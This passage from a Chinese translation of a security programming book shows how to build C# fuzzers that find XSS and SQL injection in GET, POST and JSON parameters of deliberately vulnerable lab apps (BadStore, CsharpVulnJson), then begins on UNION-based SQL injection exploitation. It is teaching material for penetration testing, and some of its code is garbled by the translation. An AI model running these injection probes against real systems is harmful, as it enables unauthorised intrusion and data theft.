一般来说,检测网站是否可能易受 XSS 攻击的一种快速方法是向该站点发送一个带有污染参数的请求。如果污染的数据在响应中未被修改,你可能找到了一个 XSS 攻击的向量。例如,假设你在 HTTP 请求中传递了
GET /index.php?name=Brandon
HTTP/1.1 Host: 10.37.129.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive 列表 2-5:带查询字符串参数的 PHP 脚本的示例 GET 请求
服务器响应类似于列表 2-6 中的 HTTP 响应。
HTTP/1.1 200 OK
Date: Sun, 19 Apr 2015 21:28:02 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.7
Content-Length: 32
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Welcome Brandon<xss>
列表 2-6:PHP 脚本清理 name 查询字符串参数的示例响应
本质上,如果代码中的
"; ?> 列表 2-7:易受 XSS 攻击的 PHP 代码
如同列表 2-1 中漏洞代码一样,程序员没有在将 HTML 渲染到屏幕之前清理或替换参数中的任何潜在不良字符➊。通过传递一个特别制作的名称参数给 Web 应用,我们可以将 HTML 渲染到屏幕上,执行 JavaScript,甚至运行尝试接管计算机的 Java applet。例如,我们可以发送一个特别制作的 URL,如列表 2-8 中所示。
www.example.com/vuln.php?name=Brandon 列表 2-8:如果参数易受 XSS 攻击,则会弹出 JavaScript 警告的带查询字符串参数的 URL
列表 2-8 中的 URL 如果 PHP 脚本使用 name 参数构建 HTML 代码,并最终在浏览器中渲染,可能会导致 JavaScript 弹出窗口出现,并显示数字 1。
使用突变模糊测试器进行 GET 请求模糊测试
现在你已经了解了 SQL 注入和 XSS 漏洞的基础知识,让我们实现一个快速的模糊测试器,用于查找查询字符串参数中的潜在 SQL 注入或 XSS 漏洞。查询字符串参数是 URL 中问号 (?) 后面的部分,采用 key = value 格式。我们将重点关注 GET 请求中的 HTTP 参数,但首先,我们将拆分一个 URL,以便可以遍历任何 HTTP 查询字符串参数,如 列表 2-9 所示。
public static void Main(string[] args)
{
➊string url = args[0];
int index = url.➋IndexOf("?");
string[] parms = url.➌Remove(0, index+1).➍Split('&');
foreach (string parm in parms)
Console.WriteLine(parm);
}
列表 2-9:分解给定 URL 中查询字符串参数的简单 Main() 方法
在 列表 2-9 中,我们获取传递给主模糊测试应用程序的第一个参数 (args[0]),并假设它是一个 URL ➊,该 URL 包含一些可以模糊测试的 HTTP 参数。为了将这些参数转换为我们可以迭代的形式,我们首先删除 URL 中的问号 (?) 之前和包括问号的部分,然后使用 IndexOf("?") ➋ 确定第一个问号的位置,这标志着 URL 结束,查询字符串参数紧随其后;这些是我们可以解析的参数。
调用 Remove(0, index+1) ➌ 返回一个只包含 URL 参数的字符串。这个字符串随后会根据 & 字符 ➍ 分割开,& 标志着新参数的开始。最后,我们使用 foreach 关键字,循环遍历 parms 数组中的所有字符串,并打印每个参数及其值。现在我们已经将查询字符串参数及其值从 URL 中隔离出来,以便在发出 HTTP 请求时开始修改这些值,从而诱发 Web 应用程序错误。
污染参数并测试漏洞
现在我们已经分离了可能存在漏洞的 URL 参数,下一步是将每个参数污染,使用服务器如果不容易受到 XSS 或 SQL 注入影响时会正常清理的数据。对于 XSS,我们的污染数据将添加 <xss>,而测试 SQL 注入的数据将包含一个单引号。
我们可以创建两个新的 URL,通过将已知的有效参数值替换为污染数据,来测试目标是否存在 XSS 和 SQL 注入漏洞,如 列表 2-10 所示。
foreach (string parm in parms)
{
➊string xssUrl = url.Replace(parm, parm + "fd
sa"); ➋string sqlUrl = url.Replace(parm, parm + "fd'sa");
Console.WriteLine(xssUrl);
Console.WriteLine(sqlUrl);
}
列表 2-10:修改后的 foreach 循环,用污染数据替换参数
为了测试漏洞,我们需要确保我们正在创建目标网站能够理解的 URL。为此,我们首先将 URL 中的旧参数替换为受污染的参数,然后打印出我们将请求的新 URL。打印到屏幕时,URL 中的每个参数应该有一行包含 XSS 污染的参数➊,以及一行包含带单引号的参数➋,如清单 2-11 所示。
http://192.168.1.75/cgi-bin/badstore.cgi?searchquery=testfd
sa&action=search http://192.168.1.75/cgi-bin/badstore.cgi?searchquery=testfd'sa&action=search
--snip--
清单 2-11: 带污染 HTTP 参数的打印 URL
构建 HTTP 请求
接下来,我们通过编程方式使用 HttpWebRequest 类构建 HTTP 请求,然后使用受污染的 HTTP 参数发起请求,看看是否返回任何错误(见清单 2-12)。
foreach (string parm in parms)
{
string xssUrl = url.Replace(parm, parm + "fd
sa"); string sqlUrl = url.Replace(parm, parm + "fd'sa");
HttpWebRequest request = (HttpWebRequest)WebRequest.➊Create(sqlUrl);
request.➋Method = "GET";
string sqlresp = string.Empty;
using (StreamReader rdr = new
StreamReader(request.GetResponse().GetResponseStream()))
sqlresp = rdr.➌ReadToEnd();
request = (HttpWebRequest)WebRequest.Create(xssUrl);
request.Method = "GET";
string xssresp = string.Empty;
using (StreamReader rdr = new
StreamReader(request.GetResponse().GetResponseStream()))
xssresp = rdr.ReadToEnd();
if (xssresp.Contains("
")) Console.WriteLine("在参数中发现可能的 XSS 点: " + parm);
if (sqlresp.Contains("SQL 语法错误"))
Console.WriteLine("在参数中发现 SQL 注入点: " + parm);
}
清单 2-12: 完整的 foreach 循环,测试给定的 URL 是否存在 XSS 和 SQL 注入
在清单 2-12 中,我们使用 WebRequest 类的静态 Create()方法➊来发起 HTTP 请求,将受单引号污染的 sqlUrl 变量中的 URL 作为参数传递,并将返回的实例化 WebRequest 对象强制转换为 HttpWebRequest。(静态方法不需要实例化父类即可使用。)Create()方法采用工厂模式,根据传入的 URL 创建新的对象,这就是我们需要将返回的对象强制转换为 HttpWebRequest 对象的原因。例如,如果我们传入的 URL 以 ftp://或 file://开头,那么 Create()方法返回的对象类型将是不同的类(分别是 FtpWebRequest 或 FileWebRequest)。然后,我们将 HttpWebRequest 的 Method 属性设置为 GET(这样我们就发起一个 GET 请求)➋,并使用 StreamReader 类和 ReadToEnd()方法将响应保存到请求的响应中,保存在 resp 字符串中➌。如果响应包含未经清洗的 XSS 有效负载,或者抛出关于 SQL 语法的错误,我们就知道可能发现了一个漏洞。
注意
注意,我们在这里以新的方式使用了 using 关键字。在此之前,我们使用 using 来导入命名空间中的类(例如 System.Net)到模糊测试工具中。基本上,当类实现了 IDisposable 接口(该接口要求类实现 Dispose()方法)时,通过 using 块使用实例化的对象(使用 new 关键字创建的对象)。当 using 块的作用域结束时,对象的 Dispose()方法会自动被调用。这是一种非常有用的方法来管理可能导致资源泄漏的资源的作用域,例如网络资源或文件描述符。
测试模糊测试代码
让我们使用 BadStore 首页上的搜索字段来测试我们的代码。在 Web 浏览器中打开 BadStore 应用后,点击页面左侧的“主页”菜单项,然后在左上角的搜索框中执行快速搜索。您应该会在浏览器中看到类似于清单 2-13 中显示的 URL。
http://192.168.1.75/cgi-bin/badstore.cgi?searchquery=test&action=search 清单 2-13:指向 BadStore 搜索页面的示例 URL
将清单 2-13 中的 URL(将 IP 地址替换为您网络中 BadStore 实例的 IP 地址)作为参数传递给程序,如清单 2-14 所示,模糊测试应开始。
$ ./fuzzer.exe "http://192.168.1.75/cgi-bin/badstore.cgi?searchquery=test&action=search"
在参数中发现 SQL 注入点:searchquery=test
在参数中发现可能的 XSS 点:searchquery=test
$
清单 2-14:运行 XSS 和 SQL 注入模糊测试工具
运行我们的模糊测试工具应该能在 BadStore 中发现 SQL 注入和 XSS 漏洞,输出内容类似于清单 2-14。
对 POST 请求进行模糊测试
在本节中,我们将使用 BadStore 对保存在本地硬盘上的 POST 请求(用于向 Web 资源提交数据进行处理的请求)参数进行模糊测试。我们将使用 Burp Suite 捕获 POST 请求——这是一款为安全研究人员和渗透测试人员设计的易于使用的 HTTP 代理,位于浏览器和 HTTP 服务器之间,您可以看到数据的来回传输。
现在从www.portswigger.net/下载并安装 Burp Suite。(Burp Suite 是一个 Java 归档文件(JAR 文件),可以保存到 U 盘或其他可移动介质。)下载 Burp Suite 后,使用 Java 通过清单 2-15 中所示的命令启动它。
$ cd ~/Downloads/
$ java -jar burpsuite*.jar 清单 2-15:从命令行运行 Burp Suite
启动后,Burp Suite 代理应监听 8080 端口。将 Firefox 的流量设置为使用 Burp Suite 代理,如下所示:
-
在 Firefox 中,选择“编辑”▸“首选项”。高级对话框应出现。
-
选择“网络”标签,如图 2-3 所示。
![]()
图 2-3:Firefox 偏好设置中的网络选项卡
-
单击“设置...”以打开连接设置对话框,如图 2-4 所示。
![]()
图 2-4:连接设置对话框
-
选择手动代理配置,并在 HTTP 代理字段中输入 127.0.0.1,在端口字段中输入 8080。点击“确定”,然后关闭连接设置对话框。
现在,通过 Firefox 发送的所有请求应该首先通过 Burp Suite。(要测试这一点,访问 google.com/; 你应该能在 Burp Suite 的请求窗格中看到该请求,如图 2-5 所示。) 
图 2-5:Burp Suite 正在主动捕获来自 Firefox 的请求到 google.com
在 Burp Suite 中点击“转发”按钮应该会将请求转发(此处是转发到 Google)并将响应返回给 Firefox。
编写 POST 请求模糊测试器
我们将编写并测试我们的 POST 请求模糊测试器,针对 BadStore 的“最新商品”页面(见图 2-6)。在 Firefox 中访问该页面,并点击左侧的“最新商品”菜单项。

图 2-6:BadStore Web 应用程序的“最新商品”页面
页面底部有一个按钮,用于将选中的商品添加到购物车。通过让 Burp Suite 位于浏览器和 BadStore 服务器之间,选择页面右侧的几个商品,并单击“提交”以发起添加商品到购物车的 HTTP 请求。在 Burp Suite 中捕获提交请求后,应该会得到像清单 2-16 这样的请求。
POST /cgi-bin/badstore.cgi?action=cartadd HTTP/1.1
Host: 192.168.1.75
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.75/cgi-bin/badstore.cgi?action=whatsnew
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
cartitem=1000&cartitem=1003&Add+Items+to+Cart=Add+Items+to+Cart 清单 2-16:来自 Burp Suite 的 HTTP POST 请求
如清单 2-16 所示的请求是一个典型的带有 URL 编码参数的 POST 请求(这些参数是一组特殊字符,其中有些是空白字符,例如空格和换行符)。请注意,此请求使用加号(+)代替空格。将此请求保存到文本文件中。稍后我们将使用它来系统地模糊测试在 HTTP POST 请求中发送的参数。
注意
HTTP POST 请求中的参数包含在请求的最后一行中,该行定义了以键/值形式发送的数据。(一些 POST 请求会发送多部分表单或其他特殊类型的数据,但基本原理是相同的。)
注意,在此请求中,我们正在将 ID 为 1000 和 1003 的项添加到购物车中。现在查看 Firefox 窗口,你应该会注意到这些数字对应于 ItemNum 列。我们正在提交一个参数,并附带这些 ID,实质上是在告诉应用程序如何处理我们发送的数据(即将这些项添加到购物车)。如你所见,唯一可能容易受到 SQL 注入攻击的参数是这两个 cartitem 参数,因为它们是服务器将解释的参数。
模糊测试开始
在我们开始模糊测试 POST 请求参数之前,我们需要设置一些数据,如 清单 2-17 所示。
public static void Main(string[] args)
{
string[] requestLines = ➊File.ReadAllLines(args[0]);
➋string[] parms = requestLines[requestLines.Length - 1].Split('&');
➌string host = string.Empty;
StringBuilder requestBuilder = new ➍StringBuilder();
foreach (string ln in requestLines)
{
if (ln.StartsWith("Host:"))
host = ln.Split(' ')[1].➎Replace("\r", string.Empty);
requestBuilder.Append(ln + "\n");
}
string request = requestBuilder.ToString() + "\r\n";
Console.WriteLine(request);
}
清单 2-17:Main() 方法读取 POST 请求并存储 Host 头
我们使用 File.ReadAllLines() ➊ 从文件中读取请求,并将第一个参数传递给模糊测试应用程序,作为 ReadAllLines() 的参数。我们使用 ReadAllLines() 而不是 ReadAllText(),因为我们需要拆分请求以提取信息(即 Host 头),然后再进行模糊测试。在按行读取请求并将其存储到字符串数组中后,我们从文件的最后一行获取参数 ➋,然后声明两个变量。host 变量 ➌ 存储我们正在发送请求的主机的 IP 地址。接下来声明一个 System.Text.StringBuilder ➍,我们将使用它来构建完整的请求,作为一个单独的字符串。
注意
我们使用 StringBuilder,因为它比使用 += 操作符与基本字符串类型更高效(每次调用 += 操作符时,会在内存中创建一个新的字符串对象)。在处理这样的小文件时,你不会注意到差别,但当你处理大量字符串时,你就会发现。使用 StringBuilder 只会在内存中创建一个对象,从而大大减少内存开销。
现在,我们遍历先前读取的请求中的每一行。我们检查该行是否以 "Host:" 开头,如果是,就将主机字符串的第二部分分配给 host 变量。(这应该是一个 IP 地址。)然后我们调用 Replace() ➎ 方法,从字符串中删除尾部的 \r,这是某些 Mono 版本可能留下的,因为 IP 地址本身没有 \r。最后,我们将该行与 \r\n 一起附加到 StringBuilder 中。构建完整的请求后,我们将其分配给一个名为 request 的新字符串变量。(对于 HTTP,请求必须以 \r\n 结尾;否则,服务器响应将会挂起。)
模糊测试参数
现在我们有了完整的请求,可以开始遍历并尝试对参数进行 SQL 注入模糊测试。在这个循环中,我们将使用类 System.Net.Sockets.Socket 和 System.Net.IPEndPoint。因为我们已经有了完整的 HTTP 请求字符串,所以我们可以使用一个基本的 socket 与服务器通信,而不依赖 HTTP 库来为我们创建请求。现在我们拥有了进行服务器模糊测试所需的一切,如 示例 2-18 中所示。
IPEndPoint rhost = ➊new IPEndPoint(IPAddress.Parse(host), 80);
foreach (string parm in parms)
{
使用 (Socket sock = new ➋Socket(AddressFamily.InterNetwork,
SocketType.Stream, ProtocolType.Tcp))
{
sock.➌Connect (rhost);
string val = parm.➍Split('=')[1];
string req = request.➎Replace("=" + val, "=" + val + "'");
byte[] reqBytes = ➏Encoding.ASCII.GetBytes(req);
sock.➐Send(reqBytes);
byte[] buf = new byte[sock.ReceiveBufferSize];
sock.➑Receive(buf);
string response = ➒Encoding.ASCII.GetString(buf);
如果(response.Contains("SQL 语法错误"))
Console.WriteLine("参数 " + parm + " 似乎存在漏洞");
Console.Write(" 用于 SQL 注入,值为:" + val + "'");
}
}
示例 2-18:向 Main() 方法中添加了用于模糊测试 POST 参数的额外代码
在示例 2-18 中,我们通过传递由 IPAddress.Parse(host) 返回的一个新的 IPAddress 对象和我们将要连接的 IP 地址上的端口(80)来创建一个新的 IPEndPoint 对象 ➊。现在我们可以遍历之前从 requestLines 变量中获取的参数。对于每次迭代,我们需要创建一个新的 Socket 连接 ➋ 到服务器,并使用 AddressFamily.InterNetwork 告诉 socket 它是 IPv4(即互联网协议的第 4 版,而不是 IPv6),并使用 SocketType.Stream 告诉 socket 这是一个流式 socket(有状态、双向、可靠)。我们还使用 ProtocolType.Tcp 告诉 socket 使用 TCP 协议。
一旦实例化了这个对象,我们可以通过传递我们的 IPEndPoint 对象 rhost 作为参数来调用 Connect() ➌。连接到远程主机的 80 端口后,我们可以开始模糊测试该参数。我们从 foreach 循环中通过等号(=)字符 ➍拆分参数,并使用数组的第二个索引值(来自方法调用的结果)提取该参数的值。然后我们在请求字符串上调用 Replace() ➎,将原始值替换为被污染的值。例如,如果我们的值是 'foo',在参数字符串 'blah=foo&blergh=bar' 中,我们会将 foo 替换为 foo'(注意加在 foo 末尾的撇号)。
接下来,我们使用 Encoding.ASCII.GetBytes() ➏ 将字符串转换为字节数组,并通过 socket ➐ 将其发送到 IPEndPoint 构造函数中指定的服务器端口。这相当于从您的网页浏览器向地址栏中的 URL 发出请求。
在发送请求后,我们创建一个与我们将接收到的响应大小相等的字节数组,并使用 Receive() ➑将服务器的响应填充到该数组中。我们使用 Encoding.ASCII.GetString() ➒来获取字节数组所表示的字符串,然后可以解析服务器的响应。我们通过检查响应数据中是否包含预期的 SQL 错误信息来验证服务器的响应。
我们的模糊测试工具应该输出所有导致 SQL 错误的参数,如清单 2-19 所示。
$ mono POST_fuzzer.exe /tmp/request
参数 cartitem=1000 似乎容易受到 SQL 注入攻击,值为:1000'
参数 cartitem=1003 似乎容易受到 SQL 注入攻击,值为:1003'
$
清单 2-19:运行 POST 模糊测试工具后的输出
正如我们在模糊测试工具的输出中看到的,cartitem HTTP 参数似乎容易受到 SQL 注入攻击。当我们在当前的 HTTP 参数值中插入单引号时,我们会在 HTTP 响应中得到一个 SQL 错误,这使得它很可能容易受到 SQL 注入攻击。
模糊测试 JSON
作为渗透测试人员或安全工程师,你可能会遇到接受某种形式的 JavaScript 对象表示法(JSON)数据的 Web 服务。为了帮助你学习如何模糊测试 JSON HTTP 请求,我编写了一个名为 CsharpVulnJson 的小型 Web 应用程序,它接受 JSON 并使用其中的信息来持久化和搜索与用户相关的数据。为了方便使用,已经创建了一个小型虚拟设备,使得 Web 服务开箱即用;它可以在 VulnHub 网站上找到(www.vulnhub.com/)。
设置易受攻击的设备
CsharpVulnJson 以 OVA 文件格式提供,这是一个完全自包含的虚拟机档案,你可以直接将其导入你选择的虚拟化软件中。在大多数情况下,双击 OVA 文件应该会启动虚拟化软件,并自动导入该设备。
捕获易受攻击的 JSON 请求
一旦 CsharpVulnJson 运行,打开 Firefox 并指向虚拟机的 80 端口,你应该会看到一个类似于图 2-7 所示的用户管理界面。我们将专注于使用创建用户按钮创建用户以及该按钮在创建用户时发送的 HTTP 请求。
假设 Firefox 仍然设置为通过 Burp Suite 作为 HTTP 代理,填写创建用户字段并点击创建用户按钮,这将生成一个包含用户信息的 JSON 哈希的 HTTP 请求,该请求出现在 Burp Suite 的请求窗格中,如清单 2-20 所示。

图 2-7:在 Firefox 中打开的 CsharpVulnJson Web 应用程序
POST /Vulnerable.ashx HTTP/1.1
Host: 192.168.1.56
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Referer: http://192.168.1.56/
Content-Length: 190
Cookie: ASP.NET_SessionId=5D14CBC0D339F3F054674D8B
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
{"username":"whatthebobby","password":"propane1","age":42,"line1":"123 Main St",
"line2":"","city":"Arlen","state":"TX","zip":78727,"first":"Hank","middle":"","last":"Hill",
"method":"create"}
示例 2-20:创建包含用户信息的 JSON 请求,将数据保存到数据库
现在右键单击请求窗格并选择复制到文件。当系统询问要将 HTTP 请求保存到计算机的哪里时,选择保存路径并记下保存位置,因为你需要将该路径传递给模糊器。
创建 JSON 模糊器
为了模糊化这个 HTTP 请求,我们需要将 JSON 与请求的其他部分分离。然后,我们需要遍历 JSON 中的每个键值对,并修改其值,以尝试从 Web 服务器诱发任何 SQL 错误。
阅读请求文件
为了创建 JSON HTTP 请求模糊器,我们从一个已知有效的 HTTP 请求(创建用户请求)开始。通过使用之前保存的 HTTP 请求,我们可以读取请求并开始模糊化过程,如示例 2-21 所示。
public static void Main(string[] args)
{
string url = ➊args[0];
string requestFile = ➋args[1];
string[] request = null;
using (StreamReader rdr = ➌new StreamReader(File.➍OpenRead(requestFile)))
request = rdr.➎ReadToEnd().➏Split('\n');
string json = ➐request[request.Length - 1];
JObject obj = ➑JObject.Parse(json);
Console.WriteLine("正在对 URL " + url 进行 POST 请求模糊化");
➒IterateAndFuzz(url, obj);
}
示例 2-21:Main 方法,启动 JSON 参数的模糊化过程
我们做的第一件事是将传递给模糊器的第一个➊和第二个➋参数存储到两个变量中(分别是 url 和 requestFile)。我们还声明一个字符串数组,该数组将在从文件系统读取请求后,赋值为 HTTP 请求中的数据。
在 using 语句的上下文中,我们使用 File.OpenRead() ➋打开请求文件以供读取,并将返回的文件流传递给 StreamReader 构造函数 ➌。通过实例化新的 StreamReader 类,我们可以使用 ReadToEnd()方法 ➎读取文件中的所有数据。然后,我们使用 Split()方法 ➏对请求文件中的数据进行拆分,并传递换行符作为拆分请求的字符。HTTP 协议规定,换行符(具体来说是回车符和换行符)用于将头信息与请求中发送的数据分开。Split()方法返回的字符串数组将赋值给我们之前声明的 request 变量。
在读取并拆分请求文件后,我们可以抓取需要进行模糊测试的 JSON 数据,并开始遍历 JSON 键值对以寻找 SQL 注入漏洞。我们想要的 JSON 是 HTTP 请求的最后一行,即请求数组中的最后一个元素。由于 0 是数组中的第一个元素,我们通过从请求数组长度中减去 1 来获取请求数组的最后一个元素,并将其值赋给字符串 json ➐。
一旦我们将 JSON 从 HTTP 请求中分离出来,我们就可以解析 json 字符串,并创建一个 JObject,使用 JObject.Parse() ➑ 以便进行编程遍历。JObject 类可以在 Json.NET 库中找到,该库可以通过 NuGet 包管理器或访问 www.newtonsoft.com/json/ 免费获取。我们将在全书中使用这个库。
创建新 JObject 后,我们打印一行状态信息,通知用户我们正在向给定的 URL 发送 POST 请求进行模糊测试。最后,我们将 JObject 和 URL 传递给 IterateAndFuzz() 方法 ➒,以处理 JSON 并对 Web 应用程序进行模糊测试。
遍历 JSON 键值对
现在我们可以开始遍历每个 JSON 键值对,并设置每一对以测试是否存在 SQL 注入漏洞。列表 2-22 展示了如何使用 IterateAndFuzz() 方法来实现这一点。
private static void IterateAndFuzz(string url, JObject obj)
{
foreach (var pair in (JObject)➊obj.DeepClone())
{
if (pair.Value.Type == ➋JTokenType.String || pair.Value.Type == ➌JTokenType.Integer)
{
Console.WriteLine("正在模糊测试键: " + pair.Key);
if (pair.Value.Type == JTokenType.Integer)
➍Console.WriteLine("将 int 类型转换为字符串进行模糊测试");
JToken oldVal = ➎pair.Value;
obj[pair.Key] = ➏pair.Value.ToString() + "'";
if (➐Fuzz(url, obj.Root))
Console.WriteLine("SQL 注入向量: " + pair.Key);
else
Console.WriteLine(pair.Key + " 似乎没有漏洞。");
➑obj[pair.Key] = oldVal;
}
}
}
列表 2-22:IterateAndFuzz() 方法,用于确定 JSON 中哪些键值对需要进行模糊测试
IterateAndFuzz() 方法通过在 JObject 中使用 foreach 循环遍历键/值对开始。因为我们将在 JSON 中插入撇号以修改值,所以我们调用 DeepClone() ➊ 来获取一个与原始对象相同的副本。这允许我们在修改另一个副本的同时,遍历 JSON 键/值对的一个副本。(我们需要复制一个副本,因为在 foreach 循环中,无法修改正在遍历的对象。)在 foreach 循环内,我们测试当前键/值对的值是否为 JTokenType.String ➋ 或 JTokenType.Integer ➌,如果是字符串或整数类型,我们将继续对该值进行模糊测试。打印一条消息 ➍ 来提醒用户我们正在模糊测试哪个键后,我们测试该值是否为整数,以便告知用户我们正在将值从整数转换为字符串。
注意
由于 JSON 中的整数没有引号,且必须是整数或浮点数,插入带有撇号的值会导致解析异常。许多用 Ruby on Rails 或 Python 构建的弱类型 Web 应用程序不会关心 JSON 值是否发生类型变化,但使用 Java 或 C# 构建的强类型 Web 应用程序可能不会按预期工作。CsharpVulnJson Web 应用程序不会关心类型是否故意改变。
接下来,我们将旧值存储在 oldVal 变量中 ➎,以便在对当前键/值对进行模糊测试后可以将其替换。在存储了旧值之后,我们重新赋值当前值 ➏ 为原始值,但在值的末尾加上一个撇号,这样如果它被放入 SQL 查询中,应该会导致解析异常。
为了确定修改后的值是否会导致 Web 应用程序出现错误,我们将修改后的 JSON 和 URL 传递给 Fuzz() 方法 ➐(将在接下来的讨论中介绍),该方法返回一个布尔值,告诉我们该 JSON 值是否可能容易受到 SQL 注入攻击。如果 Fuzz() 返回 true,我们会通知用户该值可能容易受到 SQL 注入攻击。如果 Fuzz() 返回 false,我们会告诉用户该键似乎不容易受到攻击。
一旦我们确定某个值是否容易受到 SQL 注入攻击,我们将用原始值 ➑ 替换被修改的 JSON 值,然后继续处理下一个键/值对。
使用 HTTP 请求进行模糊测试
最后,我们需要使用被污染的 JSON 值发起实际的 HTTP 请求,并从服务器读取响应,以确定该值是否可能存在注入风险。列表 2-23 显示了 Fuzz() 方法如何创建 HTTP 请求并测试响应中的特定字符串,以确定 JSON 值是否容易受到 SQL 注入攻击。
private static bool Fuzz(string url, JToken obj)
{
byte[] data = System.Text.Encoding.ASCII.➊GetBytes(obj.➋ToString());
HttpWebRequest req = (HttpWebRequest)➌WebRequest.Create(url);
req.Method = "POST";
req.ContentLength = data.Length;
req.ContentType = "application/javascript";
使用 (Stream stream = req.➍GetRequestStream())
stream.➎Write(data, 0, data.Length);
尝试
{
req.➏GetResponse();
}
捕获 (WebException e)
{
字符串 resp = string.Empty;
使用 (StreamReader r = new StreamReader(e.Response.➐GetResponseStream()))
resp = r.➑ReadToEnd();
返回 (resp.➒Contains("syntax error") || resp.➓Contains("unterminated"));
}
返回 false;
}
示例 2-23:Fuzz() 方法,它执行与服务器的实际通信
因为我们需要将整个 JSON 字符串作为字节发送,我们将通过 ToString() ➋ 方法返回的 JObject 字符串版本传递给 GetBytes() ➊ 方法,该方法返回一个表示 JSON 字符串的字节数组。我们还通过调用 WebRequest 类的静态 Create() 方法 ➌ 来构建初始 HTTP 请求,以创建一个新的 WebRequest,并将结果对象强制转换为 HttpWebRequest 类。接下来,我们为请求分配 HTTP 方法、内容长度和内容类型。我们将 Method 属性的值设置为 POST,因为默认值是 GET,并将我们要发送的字节数组的长度分配给 ContentLength 属性。最后,我们将 ContentType 设置为 application/javascript,以确保 Web 服务器知道它接收到的数据应该是格式良好的 JSON。
现在我们将我们的 JSON 数据写入请求流中。我们调用 GetRequestStream() 方法 ➍ 并将返回的流分配给一个变量,并使用 using 语句来确保在使用后流被正确地释放。然后,我们调用流的 Write() 方法 ➎,该方法接受三个参数:包含 JSON 数据的字节数组、我们希望开始写入的数组索引,以及我们希望写入的字节数。(因为我们希望写入所有数据,所以传入数据数组的整个长度。)为了从服务器获取响应,我们创建一个 try 块,以便捕获任何异常并获取它们的响应。我们在 try 块内调用 GetResponse() ➏ 尝试从服务器获取响应,但我们只关心返回 HTTP 状态码为 500 或更高的响应,这将导致 GetResponse() 抛出异常。
为了捕获这些响应,我们在 try 块后跟一个 catch 块,在其中我们调用 GetResponseStream() ➐ 并从返回的流创建一个新的 StreamReader。使用流的 ReadToEnd() 方法 ➑,我们将服务器的响应存储在字符串变量 resp 中(该变量在 try 块开始之前声明)。
为了确定发送的值是否可能导致 SQL 错误,我们测试响应中是否包含 SQL 错误中出现的两个已知字符串之一。第一个字符串 "syntax error" ➒ 是一个通用字符串,在 MySQL 错误中出现,如示例 2-24 所示。
错误:42601:语法错误,在 "dsa" 附近 示例 2-24:包含语法错误的 MySQL 错误消息
第二个字符串 "unterminated" ➓,出现在特定的 MySQL 错误中,当字符串没有结束时,如示例 2-25 所示。
错误:42601:在 "'); " 附近出现了未结束的引号字符串
示例 2-25:包含 unterminated 的 MySQL 错误消息示例
任何错误消息的出现都可能意味着应用程序中存在 SQL 注入漏洞。如果错误响应中包含了这两种字符串中的任意一种,我们就返回一个 true 值给调用方法,这意味着我们认为该应用程序易受攻击。否则,我们返回 false。
测试 JSON 模糊测试器
完成了模糊测试 HTTP JSON 请求所需的三种方法后,我们可以测试 Create User HTTP 请求,如示例 2-26 所示。
$ fuzzer.exe http://192.168.1.56/Vulnerable.ashx /Users/bperry/req_vulnjson
对 URL http://192.168.1.13/Vulnerable.ashx 进行 POST 请求模糊测试
Fuzzing 键:username
SQL 注入向量:username
Fuzzing 键:password
SQL 注入向量:password
Fuzzing 键:age➊
将 int 类型转换为字符串进行模糊测试
SQL 注入向量:age
Fuzzing 键:line1
SQL 注入向量:line1
Fuzzing 键:line2
SQL 注入向量:line2
Fuzzing 键:city
SQL 注入向量:city
Fuzzing 键:state
SQL 注入向量:state
Fuzzing 键:zip➋
将 int 类型转换为字符串进行模糊测试
SQL 注入向量:zip
Fuzzing 键:first
first 似乎不易受到攻击。
Fuzzing 键:middle
middle 似乎不易受到攻击。
Fuzzing 键:last
last 似乎不易受到攻击。
Fuzzing 键:method➌
method 似乎不易受到攻击。
示例 2-26:运行 JSON 模糊测试器对 CsharpVulnJson 应用程序进行测试的输出
在 Create User 请求上运行模糊测试器应该显示大多数参数都容易受到 SQL 注入攻击(以 SQL 注入向量开头的行),除了由 Web 应用程序用于确定完成哪个操作的方法 JSON 键 ➌。请注意,即使是原本是整数的 age ➊ 和 zip ➋ 参数,在测试时如果转换为字符串,它们也会变得易受攻击。
利用 SQL 注入
寻找可能的 SQL 注入仅是渗透测试的一半工作;利用它们才是更重要且更难的部分。在本章前面,我们使用 BadStore 的 URL 来模糊测试 HTTP 查询字符串参数,其中一个参数是易受攻击的查询字符串参数 searchquery(请参见示例 2-13 中的内容,第 25 页)。searchquery 查询字符串参数容易受到两种类型的 SQL 注入攻击。这两种注入方式(基于布尔值和基于 UNION)都非常有用,因此我将描述如何为这两种类型编写利用代码,使用相同的易受攻击的 BadStore URL。
UNION 技术是在利用 SQL 注入时最容易使用的一种方法。当你能够控制 SQL 查询的结尾时,可以在 SELECT 查询注入中使用 UNION。攻击者如果能够将 UNION 语句附加到 SELECT 语句的末尾,就可以向 Web 应用程序返回比程序员原本预期的更多的数据行。
理解 UNION 注入最棘手的部分之一是平衡列数。从本质上讲,你必须平衡 UNION 子句中的列数与原始 SELECT 语句从数据库中返回的列数相同。另一个挑战是能够编程地确定你注入的结果出现在 Web 服务器的响应中的位置。
手动执行基于 UNION 的漏洞利用
使用基于 UNION 的 SQL 注入是从数据库中检索数据的最快方法。为了通过这种技术从数据库中检索攻击者控制的数据,我们必须构建一个负载,检索与 Web 应用程序中原始 SQL 查询相同数量的列。一旦我们能够平衡列数,就需要能够程序化地从 HTTP 响应中找到来自数据库的数据。
当试图平衡 UNION 可注入 SQL 注入中的列数时,如果列数不匹配,Web 应用程序(使用 MySQL)通常会返回类似列表 2-27 所示的错误。
使用的 SELECT 语句列数不同...
列表 2-27:当 UNION 左右两边的 SELECT 查询列数不平衡时,MySQL 返回的示例错误
